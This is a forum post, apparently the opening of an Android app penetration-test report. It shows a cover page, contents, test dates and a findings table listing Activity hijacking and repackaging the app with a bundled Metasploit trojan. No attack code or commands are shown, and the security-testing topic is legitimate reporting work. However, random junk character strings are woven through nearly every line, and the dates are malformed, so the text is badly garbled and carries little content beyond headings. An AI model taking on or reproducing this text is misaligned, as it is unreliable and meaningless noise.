中国网络渗透测试联盟

标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞 [打印本页]

作者: admin    时间: 2022-6-8 20:32
标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞
2 M3 H' {0 o- T# M! \" U* T8 y+ d1 w1 v' z- |8 j

1 ~, ?! O5 v/ R; o7 i. I o6 N/ g+ {5 H; |3 \7 r' [4 |
, H# W& v6 ]7 v1 a8 x3 d6 K / T& ]" o/ D% x! q

/ Z. ?, E% g$ |# i+ j9 x; [4 l ! \- z e+ J8 H4 n( v" u7 ^8 r/ f3 z% K
3 E- g B) [1 u- _; } 3 c1 i: W c0 q X3 y

5 w/ I( N, ?1 _ - m/ r( g0 M% Y8 v 文档编号:                5 O2 s) J C8 H% Z " Y- i# q c {( C% [

! W, R4 j: m% M2 M$ J8 ] $ g9 l9 ~' T: @, h3 w2 N# Y0 g

- u |6 u* c% m! @# C2 A; {7 a* I) J& \$ ^; m/ M* `5 R# o! w7 m7 i   3 L5 `3 a+ [0 ^ }. X1 h$ ]- K! R+ O+ l! }# Y

9 W0 h" g6 g S$ X " }6 b) ]! W/ C9 d7 s

& m; y5 b, H; M, A+ @ & n" m3 E" Y, h, X% h* x: p   4 `8 s8 p2 ]/ g5 ^ * q4 \- y' g" z0 z4 M9 k4 ~( L

) i+ [- { P7 Z5 d# L+ F$ G " s/ y @; V2 d1 v' w

0 V" `7 d% ^" S# g/ f& A2 Z8 s" M( P4 _3 p; l% {! O& T   j" u* J- q% I+ o ( A! |3 ~; U; b3 o8 c

. i: s0 M' w# [& z2 |# B6 B v- ?$ n3 x% s8 K1 C

8 e: s. p/ }+ Z [ * y, O9 ?. y0 w9 J) ]9 b4 t   + K3 z: d1 d3 m, `. ~; K , A8 E3 K. V' y7 g

" H+ X( F% R( H 3 r! t, n5 G# Y+ Q

" |2 s/ l9 M" G- ]. J/ I ) Z3 t( F8 U* V; e+ t) x   7 [3 o% q1 H/ I: N* i2 E ) @" S y+ B7 }2 n

( W# _% |5 C" w: r; _3 m* y% }; _5 i7 D: u, ?

5 s6 G. u/ T S4 r3 t) I % A0 s' q. v4 Y( k0 l1 Z 某某某APP渗透测试 4 _5 V& v4 j/ N5 u6 ~9 K9 V; E+ |- G; [, `. m

, M( ]) j: P, J2 ?+ w3 \0 }) N- K

' I1 {/ s+ J6 c7 t 5 Z3 A# z( P, P8 N: ]- z" P   8 h/ x# A- N$ _/ u: E2 e) M + Z) `$ P0 x; s& r) h

# ?) U- g' X/ Y2 p5 T # e! B; d) J5 ]$ y$ K

. ~ @( w0 Z. j& j( \ # y4 o% w: }! I3 J   & \* o5 E, ]2 j9 b2 b7 N8 c9 F% h; A$ m$ Y

* j: v7 Y7 J8 h5 o' x, H; D" e+ _* {8 A8 f2 r U

; i8 [" _: x; G, l. _) I ! w; b- n x* ?" g7 L, N2 a   ! k+ E+ {! o0 m5 j z7 V! J( h- Z/ p7 M+ k0 i

+ `7 Z2 b P) O8 A! G. o0 Z/ V* `5 T* s- {

- O, \- O& X, @- q, Y# c* ] X$ N( w5 }5 B: w5 i   - R( S- a6 n$ B8 Q $ Z( q$ P( E+ u6 ]

/ A+ ?% r# ?0 R6 X1 [% \ X. v% R2 S' P$ q0 y

2 p% S/ ?- @8 T/ a5 g( n2 ?9 [5 S+ O" P% x 技 术 报 告 Z2 {. y/ |, Z. V& K. V/ u4 h7 W, l0 \

! i8 y+ e- j3 N4 E- Q / [7 y( c" f, \7 A) X$ p

% j7 O/ V3 r0 g. [4 L9 ~# b3 b3 R 1 g' y E9 ?. _/ f( A7 K6 L- E   1 c* i c) d% M. D 4 u" p1 n: f9 R; o" h

6 a' ^4 j! I3 I ; l& z$ ^8 A; i: `: Q

+ S- {8 Z5 d0 z3 c5 G 9 c7 I* L2 p1 n3 |8 [   + w! v# L- z+ q 7 U) W" n- n5 Q1 K0 R7 o* Z' g5 H

$ e7 `0 f3 w9 F( n . U( s0 Y% u. D' I# ^

+ e0 Q- w' V0 Q- Z2 ]6 C ) Z9 f3 A4 ?/ C$ i- {. f   ' L5 K" ^$ i. ?+ w0 \ ; R- ], h* [% e: @, D, h, L

7 e+ g; W+ k. ~: a+ ?8 [ 4 `) r( Y7 P2 g6 `

4 @$ C8 Z6 S6 n( G. j6 W ( D1 I4 \) t+ I0 S! c, N. Q   $ }( }% P* P' C' J4 R# S & g2 s0 ?# S9 M" d& b& {4 M, q) w u

6 X: O; g- [) W) l" Y 5 x- D5 I" z. C3 \' N. L$ T

0 s6 I' F" P0 Z3 a $ v4 n. D9 n/ d s/ j& W   1 A/ Q. f! c6 z O% c! L* r0 d9 ? X: w9 [7 y9 J

) F: c3 O v8 a 9 z( Z4 B# O& z) k" j

" p5 Q+ x! F0 v0 [* Z " P9 x' n2 r4 d( B# _+ ?   ( _, `9 W( ~8 C( F5 E2 \3 c6 E" T. { . E* K, D/ P* j7 f

! I( S1 K, j; \. r5 T6 }, c/ x* ?2 O$ U: \; \8 H! }) U7 {

/ b g3 D/ G0 s+ \# }: I 6 @. }/ H" s. [8 k/ H   ' @" d) N2 c6 d: T, } 0 M" z s z! S2 Y! r! q3 w4 g2 ~! f$ X

' ^$ T7 H1 K4 Q; t/ a: [9 ^* A6 f" Z- C$ _

3 ] ? V7 O. H+ ?* y5 f' v : s; J. B( J. e7 Z   ) m( i0 d2 u1 r3 H . d- k# A8 M& W" A% P5 v7 n

% }" P; ^1 E( Z2 n: L1 \' D ' @4 n+ ]2 u! o3 C$ s

% v( V. L: U- `$ n . i* w+ J, ?+ |$ u/ j5 ]   3 I. R. K: |4 i% a& ~9 h1 k$ L& [) z2 u- M8 g" j9 F/ A) l# u

6 \0 h7 v K! | ; O7 U! _. F5 `$ ]1 |

0 M$ }7 f& _ v6 Q5 a% D. y , s4 \6 r7 E7 a, q I- t: M   8 c% n8 I6 p" u/ s6 z1 B0 j, p* b7 R) B9 n; E! c" k [

2 @7 P0 K2 H& |% a2 F, i) A 6 L/ x. O3 s1 R% I

! y% a5 l* E* @8 u+ | . t6 x7 Z' P8 A! b   ! I/ B$ V' M/ P1 s! y t0 d# y( i- `1 `& @6 r

; E- `) I# d; j# `% ?" k* L `: A9 u7 o I6 p5 u" `

6 V) F2 q+ K" E' C) | o7 J8 `/ Q7 I$ v   : ?2 w d$ |# Y5 U : m! q0 y: H& [0 K, I6 g+ y2 F3 _; X

: X- }" v; r( ?7 B' J, g b2 _; V, ]9 h5 x+ {* ]1 i

$ e# e/ T$ F$ J& j2 u & o. |: m @: d+ c5 k/ c/ {3 {" b, O   , I9 A+ w& V& M+ K. g5 U # U& s0 N( U2 p9 a6 Z* P

/ T0 R# s" g1 l# Y) O 0 z2 P" ?: p; M* q1 Q r

# p) ?& y0 W; {0 ? $ [2 I* _! P. a& y4 n2 U) l1 s6 N$ ~" c   ! V+ @5 P7 O5 {% |' U! a6 [ & z' z* g6 {6 k5 N5 t+ J( W

/ e$ Z" T* C& N5 N& m+ c 3 P$ j i0 e5 a2 M! |/ u

8 H `( v3 z0 Q/ t $ H# ]9 M# j' H9 y+ w2 l' Z   ( ~/ Z& c3 ~5 q3 a( M' e& P) y) Z" S( ^( Q* I' J! z& v

+ ^. t& C# n9 y% `6 [: e+ @ 3 a! y9 i9 @& \1 {4 W! e/ u

0 J/ \. Z% E2 I! _2 w( g; X 0 G% U9 s+ Q/ W, W/ [   7 ?; ]. ]( x1 P, |5 d; s K " [# V2 o* J8 N

% W+ Y- J. V% Y' v% x 1 A) p; \5 A/ _6 \% H

+ ~3 t, q$ p& F$ h! m! N+ @% T   5 V z5 g* S. Z# }3 ^ [& e9 h ' Y/ `# E2 k1 j- C, X! j' Z% ?

& d( s( L$ t5 h' i7 h9 I- S5 `' ~$ q1 j1 _% h

5 n! k/ N. M8 q! G9 U; q3 j1 @ K5 i' {! F C% N6 {   7 R. v V+ R& ]; U8 ?! _" l1 U % \9 i9 q+ m+ K r9 u

( h. F! j. f1 t* s9 J ' c. M2 Q% L+ H' h9 H6 l5 R$ Q

( L1 s! Z+ L. o# B Y' N& q9 P7 q% j 二〇二〇年 . W/ g# N, w+ i, H) p f: X$ a# D$ K8 {, H1 |! |, B

, B# B5 h8 m/ O+ e" C ) M8 S# T! ]% C6 j. l9 ?0 \# y, C) a
: H7 M- j$ x, m3 ~$ I( [: ?4 S! e: W- a: Z
m/ K4 _$ `' ]+ Q. q% F; q+ l+ h$ x) Z i( n" X3 J, z ^
7 d5 R1 `" Z1 h, u" ~) G+ T( { | - e* j" V3 D. F$ l
9 C& L- K6 r6 I5 o, { ; H3 f! W$ {% v
( X# Q2 s$ H! h- U: W6 Z$ M- ` . w, H5 E# d1 b0 m* X
1 }/ r) d2 T7 {5 X- k 7 x9 {# z: F( w4 \, [: J& u0 h- _. c
. _4 p) r/ e G4 R! ?4 j1 n, Y3 e, p& q* M" c
4 h3 j' y2 t/ `5 { ) O3 M7 Y( K/ R) A9 K h

/ M' M3 Z7 m7 i' V% D: R. e1 c: c* @ k* e5 E7 N 目 录 ! F- g0 N, G' X8 `: T% Y& F/ U/ v 1 [; `% t+ m4 t, B; r7 j! C

2 {% ?1 l- v2 ]; T3 z$ z, ]3 W/ T8 ] / @* {) l+ M- \% Q, o ! ~. O6 _# |" G6 F& g" \

3 M4 I: C' l; V7 D& y; @( H ( v# f1 `5 [7 Q) q& {% j   : P- [ R' B3 F% E& e- x. h- P) R' w

( U" F. Y9 L( n1 R$ D $ E# |7 `5 P8 d+ B: n

8 }$ s W* \) m: r; p+ y! J& s; \, L) L, o& o. _* ] V! t/ N 1 概述... 3 # [7 |$ j/ j7 n5 z+ q1 O" i, ^1 y( l: Y& s7 A) V% F

E" [7 {: g$ U2 ]/ s: y b g * U6 d' t R" T8 ]+ w- Z1 [( S

3 p3 S: S; V1 @9 r- C b% I $ |+ X+ k+ P1 y! u. v" r9 C 1.2测试时间... 3 , ~% f* u1 h9 j% J! O& L v * S' {! a& K3 r9 s: H Q

& z. [: ]1 f2 o+ ~2 N! J5 j6 C- P$ A& Q : Y; g) x9 K/ O" V/ j; U9 B: v( N

6 x9 f; Q- O5 t/ e w2 H S , g3 f, k; l; { 1.3测试对象... 3 / N+ N/ ^' i4 z c- S( ?- E& m. u 9 k. b* V. M/ n

3 k8 s* } V' v( D9 n U& n4 J& l( c, Q: s% y% f2 Y$ Z

2 C0 |2 O' x! @& i5 ?6 }& N9 y+ Z: k# T I m 1.4测试结果... 3 ( @4 h1 {; R8 z+ P8 ]. k* G/ P4 V* J

* f6 O) J9 P. u, f+ Q / ^! p& P' u4 W: q7 m! M" P% ^

L) }( w+ l& l6 E1 m4 A " N* d. ?% r) G3 v$ O7 b 2 检测结果... 4 , g$ y" L7 L2 Z ' c3 k- o7 \+ M1 H; J5 W

1 ]* s, m6 [- l* B. ^2 m7 H " l) J2 g3 r- a( Z& e6 \4 |7 D

% ]) ?8 A9 w+ N- d ) k! b; d3 C, b" X, E 2.1 某某某... 4 ! K- S& }; T+ K0 c! G- V8 n8 L+ Y * h" ?* n% Z% O- t' }- c

5 P5 ~$ M' h- H 0 n: d6 v3 ~) b5 l0 S4 e$ E: n

7 X4 b/ Q5 b" l2 E( V5 T5 x. m$ I/ Z2 b- b8 `" w( Y 2.1.1检测目标... 4 3 e' X8 h) F5 H1 o5 d ' M! z) |9 r, g

9 G8 a7 O4 ]( ]7 J0 k! M % {" v& e; u7 F+ x' O+ z& @! ^

0 [" Q8 [: t" y, V % @; X+ d& N/ U6 ^+ Z& F 2.1.2检测结果... 4 & O1 s2 J! I( k0 }' u + E1 G9 @- S) ?9 { y7 a: {) Z

% I) S+ R5 A& A" O( [/ F- i, D C' w2 `) Q6 N$ m! s' M! a

( ^* f; C- P/ A4 i8 S ' _1 i* M$ c7 P) H2 D q 2.1.2.1. 4 / c- }0 a" ]! C8 E; V5 ? : @0 A, E- U0 u7 e6 y5 K

8 X+ o$ d. o: r6 A4 D. Q 0 l# g7 d9 V+ p: y/ I+ b; u

2 ^- R4 q" C& H, c3 _ ' `, I4 U. Q7 r( P7 ^ 2.1.2.2. 6 - ^/ M' h' l% h( u* D+ A, S/ H) u& W+ p& _

7 i5 h7 {+ g$ }: C8 i% W" v( g- s: j2 D% p' m# o1 S5 k% D

+ N |% M1 D0 f# V% u: I8 z* H# P. c1 M" k3 C/ n 9 P$ p& M8 n! R% ?4 B3 X6 ` ( h6 Q2 V) y* a- C7 a' W

% n7 @# d' w# B, r* e 7 z2 t/ U2 J9 p6 f& _
2 ~) \! q j0 L/ P, }9 a! A. r 7 |6 ]7 o% o5 Q( S) R; G4 j( ?: x2 I3 {
' Y" ~, u! h( }6 k6 A) q+ a4 C! q1 m2 _6 f
& I J" K1 @8 c7 U( r" l6 K/ x7 w0 |# Y( ^4 t
- T4 y5 p$ G. M3 N, |, e) M# @0 R# L; L 9 X x! g0 T0 L1 @- M

, J, _* {" X" h, w4 F1 Z/ ^ a; H0 W6 o% f" k 1 概述 # t4 Y" _; B) L& I; Y6 f: j9 U r) v. ^ % [) x5 ?! ?- x* x

6 [1 I8 l# N: a$ o1 U0 F M3 q3 a' g( J" z) t+ d+ P& P5 w

2 l/ f! c6 O. [$ Y4 {( V 6 {9 k c- i/ t 1.2测试时间 7 q4 [0 l/ D s- E; ~! B% U/ }/ J Z9 d( [8 D* X4 h8 m

: t0 G+ _' Z3 e! D x4 y! H 3 [; ?! G6 l( `' ?4 }8 g$ d 8 x* j, t- t* {" G5 Z1 ]! ~* t! d c% V8 C# _/ y4 W# `3 m) D7 o4 @- z9 ]0 n1 f( U1 l2 n: }( d( _1 O# y$ U- @! }' x; Q4 e, s# i, M7 P$ ^! o- J, E' _8 k% c( W* D# G; o& x/ O; e6 c! k3 Z4 M- Y% K4 F1 S' g. C+ r# p4 b5 d+ ~# G1 F7 @0 b, g8 i- t5 o& U8 Q) M; C9 ~' P" p, V. b8 ^4 c2 O( G- r1 V9 w. s8 p K# }5 H4 j: w6 o4 x# b' [5 m# Z: G4 y; u. d) J: r* g5 Z0 C2 d* T, M P4 L* p/ z* ]: x% Q6 U6 |% N) ~( J+ z: [3 V @( ~2 y q( h1 `/ C0 Q" n F. N' R' T A9 m' T4 `% W0 ]- T. f3 K4 Q! S5 p2 V$ l0 j* f) b, z4 g8 F2 e( H5 \+ ^) W1 \" x7 h0 ?6 O; R4 s1 p7 ?3 r& m3 L, {+ _9 d6 |% \4 E. N" [ r+ S0 n# |$ ?$ G; X5 w( a# d. r$ P
% k/ p; a2 ?6 |1 d7 c9 _( \" P 8 D- U0 i! S' i

& o! @3 {" o5 b 4 s' r/ C( v Q! _0 u# }' M& c0 ] 渗透测试时间 ! P$ d# a9 G9 \ 0 r, T& `/ @2 L6 _% n2 ~

' r1 K$ O& y Y, q3 @3 b& R! p1 B, X
) o1 L/ e2 S/ i* w& d 0 E; u6 U( G3 n6 s1 l

* m$ Y" X9 T3 ~" J1 s4 P + @ @- [2 M; `2 L% X9 o l! \4 k 起始时间 ) V9 a' `# d. L! w0 f4 w6 K 1 R1 y! w& M: D' }& ~+ z* T

; y0 S4 l+ x& _' F B5 C% O 2 n% f1 J G8 u& e! V6 d
$ s5 i1 b$ p! N% K6 m8 Q & J# Q0 _, ^. D1 f3 O4 F! ~9 B0 t

3 R. u N q/ _5 t1 T3 s ' K; Y, B7 {/ M( g9 b# B 202046 6 K0 C( @: `$ d% s6 t ( `6 e/ G, B' L! v% y+ s% }

! L! L) J5 L2 }+ R5 z8 p! L* L* N; d* t1 D, t
" x% [9 Y! J- Y5 c% ]8 o7 ^. }# }3 u- W

; T" y1 J/ b- A# g+ \ . F( @. y' R$ Z 结束时间 X# y* x: W; x: {5 A) \. Y3 N1 N( A# K8 T" d/ U

( |; h$ g+ {! f/ \1 b v: o# e+ g3 }0 R$ p9 y; u7 t
2 ]! Y1 B" Q- n, Q6 Y) c1 T7 R 6 L; Y" v7 L0 D( h( e

7 ?5 J/ W9 a/ z: [6 \1 S% w9 ^: L) y4 @ 202049 ) g; T5 w: {: ^5 i 7 {$ O* F9 \9 h0 L

8 |- ~2 `. b( f , K: {' C m( G+ Q5 D9 v( M
0 ~ j% j8 o) z: v6 W 8 s d" y, {0 ^' |/ X* Q# {

" d( Y: H# ~4 Y5 m+ N" I0 ~% T P! n9 }7 @( x$ T+ ~0 F: P 1.3测试对象 # z ^7 r8 [2 ]: ^. ]' x # u5 @1 t3 H+ ]+ G3 g9 j

, A$ i& }1 Q5 B- v + E* h6 w8 {; c- t2 i* L7 L

' l* j" x- F# _ 0 h. S% D& u! l6 J& G) n {. M/ h 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 5 J# G( J; \2 I" X) K ) N: @9 r/ G3 j o. V, S0 P

0 @/ W$ O! }( x/ M6 k& T6 Q. a% U: o% F( X' q5 w

2 v' u# \/ d j) ]8 p) g+ e# U& Q9 m$ a0 @' @ q 1-1 检测对象 9 y+ P; N o7 p+ T( U) O0 N' S1 ?% E+ F4 I" g& ?

8 Y7 [& t) [7 v2 q$ x8 E) a ' s, Q: ?0 {' k k' F8 M- O ! j9 ], u0 g4 G1 Y' h3 T+ ?* ]' ]4 q7 u. L, Z* _& R, {- r! f! _* m9 r; } O) F0 D ^' k! ]" t& D3 A1 P& D1 e3 a* w- \* s# O9 `4 H- N4 s9 Z) U4 Q. j) i: S3 L! { o& D+ r: U2 s. W0 E0 m& |- K# m, ^ F" [& f5 z% q3 n: c: z7 o E/ Y2 E& i! M9 p+ k& L3 [+ k% P% D( c" a* Z& l% Q% i/ E3 H% J0 { ?- L2 J, R: ~9 a: {/ t- W+ X( C2 N4 G0 h, R2 |6 x9 n; y' r3 ]. p" A, X7 ^) A* c S, V+ U% p) D7 n: D, Z" ]! Y. P. t" C/ g( O0 H% Y# B4 v) h3 C0 U* t' g9 m. i8 [3 ?+ K/ J- ]7 f* B4 R2 b9 p; Z7 i5 `$ f8 ^1 Q' [- k: A+ x$ Q" A6 \# p8 k1 w1 z( n- h' f! s' Y9 w4 A9 F/ B5 L* p% Q) e& x- l9 N4 o! L- G, t; f; j+ W; z# g: L" Z6 l# f3 k+ \( i# I8 P% ?9 H/ }. \3 v9 V. p) j. s9 S6 J! T6 O7 ?5 E3 Q2 @! Z: M N
2 n2 s/ \1 t0 T3 l2 Z 2 e! }4 H" f. Y5 y

+ k. b8 [: C% I$ W8 c& k* _! J7 O5 t' p1 e& p4 G' A w1 o 序号 ! Q, P. X5 ?8 n" L' { p/ u 8 ]9 q0 k" L5 w5 P

( g& z/ x1 J" [' D; z7 i) F- I
3 W3 s+ \% p' z) q! Y( n 5 {5 R$ g3 z0 L/ e# z* P E- j

9 p' k- p% c; e 1 k) u& }' G8 C 测试对象 & S/ B( r) ]* s# [" I4 h * i- x' n) S3 G0 E2 Q3 ?

9 X# D9 H+ E- H4 b$ L) {( W! Z' ]' I! T( s! _! U
+ E: e, _; i, d% n2 ^ l. c0 U% i' x( L+ d2 X4 J

9 K; Z9 Q/ c$ z2 M0 \/ d) G$ E: q; r 1 l1 K- B# b' Q9 R 测试地址 6 K% x+ Y$ A* t/ E; C 4 O$ g. u/ b; q; x8 [

4 ?1 M* Q) W& J, F* N9 i4 V ; D0 _! l3 a8 V/ l- Q) D e
3 B1 Z7 H+ k& `, p, F6 ^1 l% D( ] U& S3 ^' ~7 s

2 L/ T6 L( q7 U3 P4 C* d' I- H& r8 h: b- a8 |2 \% T) l 安全漏洞 8 m) X3 i, ~) \5 z( u* z ' V' ?7 a: {- ^8 j+ j u

+ \' p' Q, m0 r% v* }. ?+ x3 f4 p+ \ 2 `% b0 ?. w# H6 ]' U4 V
$ |! ~/ ?7 G* `; u( ]: f3 X+ j+ ^0 D6 z* r0 Q* x- F

. W4 X) v& V S; e0 f8 A2 w& o! ]9 W& g% Q" l 1 . Q# K( F, h! J0 s3 G& d) p * y3 r4 ~: s( @2 D$ x! A- m' v

0 h5 K% c( I. E) W% I & d+ _) y- S) v. Q6 v: y
+ p# L, z8 Y) z! ]* m3 h _ 3 u" ?* `8 ?: B: t

; L( `# X0 p4 M9 \! E# {( w0 u2 M W3 \- S 某某某安卓APP ; w+ E6 w& ~( e0 u5 D+ v1 N * N2 M# E: M3 R5 Y3 h0 {$ p

3 b" m" \+ `, k7 y* ]" y: ? / e" h, W1 {2 t! m8 T9 c
! ]/ j0 k* r) t' u 4 m7 `! s: O& ^- o+ l

1 d: e" |4 h* Z+ s% H + {5 a( h5 b2 i   , X1 p) X b& |$ O1 \' g8 I4 S 5 S( I: J R. w% L- f, `

# P/ J7 Q, H( L d- q0 [- f* {3 y% c( a2 y# U/ c
' l' H- k: `2 G% W5 i' K 3 h! N4 G, d* [, U" n

3 s2 J1 ~% W6 O H2 o4 k 9 r. n! D, G7 N 2 : w# `/ @- P" e7 u% i0 `) ? 9 G Q& Q. B: O, C

% s2 W+ D. A/ ` C+ o! y9 _$ G- Y a! N. \
8 F% Z0 w T, H4 H& @5 V 3 i7 x H7 [$ M

2 N9 [* j- L+ k4 f& P- F 4 d, L2 g- `7 ] 1.4测试结果 : s M& l6 y3 B4 P h- p ^! t }1 L- y

% V/ Z. [) p* x7 y" t4 W , T7 h. ^' r; {5 V# V

) M) p( I' q* x! X& o; q 1 \+ }; W4 u5 v$ ?( m n# | 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 4 V2 b- @! f8 P9 e# ?. m 0 z, b& @8 {$ s' L) Y

6 @( j+ |+ @2 O7 w # C. ]* a* \$ D* w( y: i

1 m& J8 P7 G7 V) ^& m9 ~1 B ( |4 Y8 C7 ^% ]2 B6 j/ f   5 Q- v6 m5 L G, _+ t, r8 c0 a . t& A, u! N" {2 x

% Y, Q$ x; r' W4 J 7 i. d P! r3 e6 E6 q) l
, }$ h( A$ _& X }9 T 5 a' g8 |5 d1 M* G2 n. D0 _9 m 1 B- T6 A; \2 O. y" H0 X- V: ?1 Z4 E4 D$ V" G, r: N0 ^9 D! v* W P$ q$ d1 m/ L9 B9 b! n' ^. O5 `/ i3 S4 u8 _2 O8 R3 J ^: \1 @4 v+ W% ~' ^, F8 n4 j1 [- [* t' K* e0 ?0 u& \& b* H, j1 h4 L' { m X! ?- b3 y/ }* ?* `1 B6 _ g y6 g9 }+ v+ ?" D& U0 M" L& Q* {2 Z% e* |0 |3 X: M% }5 q" G5 [. [8 {, X5 Q3 ?' X4 V1 I9 P& _ i' T7 e' x( y5 x$ x- B# t6 n2 I4 X1 R/ g# f1 e6 Y {4 S! {, z t9 M4 v+ ^6 q: C4 s; J6 k# J, |4 D7 ~2 J) D+ A8 J9 v$ Q9 o5 e0 e. X+ j% I+ {+ S: K; u( C0 ]7 P, s: z# c8 l0 ]8 H: I2 d4 X$ V) y1 j3 p5 u1 B* X8 d9 Q+ C! E# K6 L( ?: T- v* U i7 \0 q8 o( s. l2 d; r$ r: K8 W& N3 x+ ^+ K- f$ L' B5 r) O2 X5 Q% _0 S9 `+ N5 N6 _# ]4 u k U* [$ V. K0 H6 \3 E7 p% b( V, n% N& c( P' i: H/ Z' t7 [3 x, O- {; G8 X; t0 i5 k& M8 X6 F$ x' D7 R; S8 @5 }/ w( f. U) q' n6 q! M. ]0 e4 A% W: n8 J) K3 K0 _4 L; |: [$ B) d0 ^, ~6 {, M3 o! C6 a4 W6 \# C' Y" F: X5 g ~9 b' [2 S. _. W+ l3 i% Z; f5 ^. R# V: {3 |5 e4 ~2 X/ v: h/ d; p; v) {0 i* a/ B/ m, W& i( [; G; R8 v3 B% z" r0 K( h5 C6 [/ v8 t# w: W# L5 }( h5 T, g5 W! ? N' L# J- ^: S: ?5 b$ Q" t8 [; o' a) p0 e3 O5 y+ l5 P9 \: h
8 D7 S p8 I& ^( d' N c! Q, b8 ], D9 {; ~

/ x6 l. r" e( l+ l3 E3 \- e0 \$ _# t3 c' g, U- a9 S, E' k( [ 序号 0 g* q' h5 I# t [; }" s / X& ^; M8 D9 ~% b" Q5 X

4 D0 t- r( m: d$ m+ N ; T6 b8 s. C, w" d! ]( c% V& [
# g2 x v4 ^: u! j# v0 A& H* K6 g+ ~

( `2 ^: v3 k8 |. g2 v/ f* J O; x/ a4 E& R6 `. K 系统名称 : ^6 v* R& w2 m. U/ ~5 v# w; j2 I % p/ e; O/ O G- d

" V$ ] t% K$ ~% H & K4 f$ `$ }- N4 _; i
1 ?+ K( e. e( c! D - @$ j2 n) L) z0 X, `

$ j" v( B+ s, J ; j. g& ^2 y: {6 S 漏洞名称 * T$ O* y( ~# ], s. y) J9 t1 ?; i. V1 k

7 g) o8 E! T6 u; V - L- N- g" y' |3 x- b( v1 X
6 l4 K+ |( J/ | O" @; B - }% c- T" d% o- f

$ p) O+ h$ f( |- M* D ( O( Q0 z7 l4 [! W 漏洞危害 . I# S+ Z4 S3 C0 n# C+ T. j& F2 s0 l 5 W; g6 ^7 E/ c2 U

" w1 V5 n% D% ^6 `& g 0 I& z) W- z& y n7 z1 `
: R% U0 c& s- Q ) P7 y! t8 Z* ^4 |0 ]5 ^* ]+ @

2 ]- t9 v. g! _6 R4 y% y( G - K" F4 |9 l' [ 修复结果 ! w& P# ]. i V* t' \/ u " _0 S4 w; @! x

5 L0 I* m( U8 \+ b ! ?! G% H1 K% b
5 S* r9 C# T" A- M . w7 C+ X1 K6 }/ c9 t

- s7 J" Q6 C% @& ^' I 9 m# D. ?* g7 Q/ Z 1 3 U' Y8 x' r, ? & i, @- t3 H2 f1 a: j

9 G9 k" O: Q: _2 z7 A' u$ t / h( x3 i# A) ^
# d) G- A) `0 x5 h/ J& m3 e# I- \! |1 q; i1 i

/ G7 ?1 _, t$ v - n3 r+ S. n$ _) r: g+ V5 ^% d* V 某某某某某某APP " L% ]+ D2 I! S# |! m , X8 g9 H+ O+ @5 N" T/ d: g

* ~( _% K/ T- x! U3 P 4 w8 N6 ], H! e8 V
& w6 ?+ B# ]3 D ! m( x4 F q& V8 D

2 L" P. h& m' b9 q o6 T% @9 _" p9 w Activity 劫持 + T1 c% r" k: T- }, g& m4 ^7 f k' p2 j" e. i$ z/ a

7 c* \9 J. r# @: w- }3 V0 W, F5 P9 {: m, S6 c9 ]+ l t

% f2 a- o) A3 v8 `$ h3 p9 J, U& p9 L3 f9 q8 h: z: }   6 m3 u5 K9 _& F2 f5 e 7 Y- h9 I, u+ S: x, }0 y

+ H% d3 R) N5 j& X' Y* ?# A' f( Y O) f
( Q8 g* ^6 D. t9 J# C+ t4 e " W1 v5 j3 c5 V! H" O0 R: G

( W- F6 A. A$ F* H+ [( n* B , k& @( B1 L8 K; N0 k. A # d& V# U& ?% m ' d. O' z3 V/ v* e8 L

6 \( e+ o& T6 D9 C 2 q4 F% A; D, P8 x* X X: ~
) C c2 A$ O0 x/ s% A, j" ^ 5 A( `- `! Y; [& Y: D5 W: I9 K6 y

1 O- L. y1 b; d. l$ P% ] * q* h- p2 [6 U+ C) K7 \9 l   ) _& c! E+ J+ ^1 j1 x( j% k) C7 z% y7 w0 a4 J$ x# L1 {7 }

" i4 K* S3 i$ T% ? ( C2 c9 {# v8 B; M: L: n1 {- v
L5 Y! L5 I& s/ }+ U" e5 U5 Y0 g( T9 m) k! s5 r

0 m% n$ q4 F' z- i4 r5 q. i; J/ n4 j( A3 N2 O5 P6 \ 2 5 ^. l3 c4 O" r F- c 0 n! F0 L5 h; M9 s5 n1 R

9 i C6 c4 V$ Z/ t: L( Y4 {4 g! _2 b; W
+ I \$ i! v5 B+ A0 |' N4 j8 k% ]' E7 T

. V' t5 F' y9 c" N9 p K 9 I/ ?1 r. |4 o) X, v f4 { 某某某某某某APP # K% l( Y; Y( d% n8 x5 t' v $ L2 `! u1 }! ?8 g( k

e! s4 `/ T9 m; {5 ^( O5 a$ x( o& c5 Q. G. H9 G9 R
1 O6 o% N: V, n& a# l ; P# ~0 Z/ h/ [ r1 I1 T. [

* V* v s) W" V ) v& ?$ U, E& \4 h 反编译二次打包捆绑木马、篡改APP代码 9 l. `' Y. D8 E$ c4 T! U# n % i' |1 Q6 P# r! V& A; v0 T0 W Y. S+ |

0 u0 k- g* G+ i , G1 W) [. U6 x% l
; z( i# l) Q9 `3 b2 ]8 X5 o1 I9 Q. @3 n6 a8 b

( m9 ~+ J9 l: n7 `8 w% g, T! ~ @6 G L: |7 T8 p6 `' l ; }7 |+ N4 j3 J+ g h 7 u4 Z( j7 N- W [1 t

* \& i6 Y: t* ^- f 6 q( K/ Z. a; a* c
( g! Y: _; N! j& | $ c5 r e# o* v1 k: o7 L" u/ q

4 l6 M; r; i+ B. \; ^2 z/ o * d$ [ V! S% ^1 L, s   ( m! }" o! J! b% w 4 l, ]0 G* r' x' c( E

1 ^' \# p& i+ a9 x/ L# ^, _ 6 U2 D0 ~- R( i1 t
6 x- T( T; ]1 X( E6 r# a- y9 M( s' ~
6 }) _, g- _' ^3 m2 c : U$ I0 m3 S. @- z3 [/ u

0 i( _, k* x' [) y0 o9 g( k1 Q7 l6 h & L) e# ^) a: B# ~# R   ! S1 d: l* N, h$ Y1 }% @- V 0 l. i* i0 n( B8 R" K/ l

; h) b" N2 |5 u+ [$ Q; B* Z8 W 7 x* Q4 }1 b# r

. l8 C% \% s# K ( J( Y, I4 g) w 1-2 测试结果 3 a& R: |9 b' H [4 e 0 m5 y* R W4 S' e( \% }; p

- K2 ?3 r# r9 D8 y; a 9 T f% m7 _' Q0 s

: \' x$ F6 ^: x8 T : @' j$ U) D+ o   0 w* U+ r/ f" H1 Y 0 \* ?( G5 E$ T5 [& J1 X$ m8 q6 e. e

X5 x& T: W( i . s* m: I$ I1 D3 v* z: @

